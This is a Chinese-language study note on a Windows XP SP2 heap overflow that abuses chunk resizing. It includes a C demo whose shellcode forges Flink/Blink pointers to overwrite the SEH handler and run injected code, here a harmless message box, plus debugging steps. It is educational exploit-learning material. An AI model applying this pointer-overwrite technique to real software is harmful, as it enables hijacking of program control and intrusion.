堆溢出学习笔记:
看了0day漏洞利用的堆溢出,想自己亲手试试一个最简单的堆溢出;
因为windows对堆的保护加强,已经不能用以前的方法溢出堆来执行我们的代码,但是还可以利用chunk重设大小来攻击堆。
先来看一下重设chunk的过程大致执行的操作吧:
(第一步) 新chunk->Flink=旧chunk->Flink
(第二步) 新chunk->Blink=旧chunk->Blink
(第三步) 旧chunk->Flink->Blink->Flink=新chunk
(第四步) 旧chunk->Flink->Blink=新chunk
这里需要注意的是旧chunk是从链表卸下来的,卸下来的时候的前向指针和后向指针还指向它的位置前后的链表;
假设我们通过堆溢出把旧chunk的Flink指针覆盖为0xAAAAAAAA,旧chunk的Blink覆盖为0XBBBBBBBB,新chunk的地址假设为0x003906A0;则前面的四部可以表示为
[0x003906A0]=0XAAAAAAAA;
[0x003906A0+4]=0XBBBBBBBB;
[[0xAAAAAAAA+4]]= 0x003906A0;
[0xAAAAAAAA+4]= 0x003906A0;
我们可以利用覆盖的地址进行特定地址写入,假如把异常处理函数写为我们的堆里面可控的代码,然后触发异常我们就能拿到EiP的控制权;
我的调试环境为 winxp sp2;
下面我们通过一个小例子来理解这一过程:
#include <stdio.h>
#include<windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x2a\x01\x06\x00\x00\x10\x00\x00"
"\xeb\x06\x9f\x00\xeb\x06\x9f\x00"//这里正好覆盖原来chunk的前向指针和后向指针
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x31\x90\x90\x90\x90\x90\x90"//这里是跳过后面的垃圾代码
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x2a\x01\x06\x00\x00\x10\x00"
"\x8c\x06\x9f\x00\xe4\xff\x22\x00"//伪造的前向指针和后向指针其中0x0022ffe4为异常处理指针
"\xb8\x48\x9b\x83\x7c"//mov EAX,0x7c839b48这两步是修复异常指针
"\xa3\xe4\xff\x22\x00"//mov [0x22ffe4],EAx
"\x33\xdb" //xor ebx,ebx
"\x53" //push ebx
"\x68\x6f\x64\x65\x21" //ode!
"\x68\x65\x6c\x6c\x63" //ellc
"\x68\x6f\x20\x73\x68" //o sh
"\x68\x68\x65\x6c\x6c" //hell
"\x8b\xc4" //mov eax,esp
"\x53" //push ebx
"\x50" //push eax
"\x50" //push eax
"\x53" //push ebx
"\xb8\xea\x07\xd5\x77" //mov eax,messagebox
"\xff\xd0"; //call eax
int main()
{
HLOCAL h1=0,h2=0;
HANDLE hp;
int zero=0;
hp=HeapCreate(0,0x1000,0x10000);
h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
memcpy(h1,shellcode,300);
h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
zero=1/zero; //触发除0异常
printf("zero=%d\n",zero);
return 0;
}
注意此处的代码和调试的环境不同而需要改一些地址;
这里需要注意的是我们使用的是0x9f06eb是因为我们异常指针被覆盖时,代码会被覆盖为新chunk的地址,而新chunk的前向指针会被覆盖为旧chunk的前向指针,旧chunk被我们覆盖为0x009f06eb,即新chunk的前向指针为ox009f06eb;其中EB06为短跳转指令就会跳过这里从而执行我们的代码,控制EIP;
(1)我们在heapcreate下断点,单步过
后看到EAX的值9F0000即为分配堆块的起始地址,偏移680处是第一个堆块
(2)异常处理程序的地址为0x22ffe4,这就是我们前面为什么覆盖伪造指针为这个地址的原因,当程序进行旧chunk->Flink->Blink->Flink=新chunk的时候就会覆盖为新chunk的地址,旧的chunk的前向指针为前面所示的0x9f06eb
(3)我们看到0x9f06eb红框内处的前向指针为9f068c,后向指针为0x22ffe4,执行旧chunk->Flink->Blank->Flink=新chunk时即[[9f06eb+4]]=0x9f06b8, 0x22ffe4处就会被覆盖为新chunk地址0x9f06b8;
(4)继续执行就会触发我们写的除零异常,继续执行就看到我们插入的代码了,成功弹出对话框
参考书籍<0day安全:软件漏洞分析技术>
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界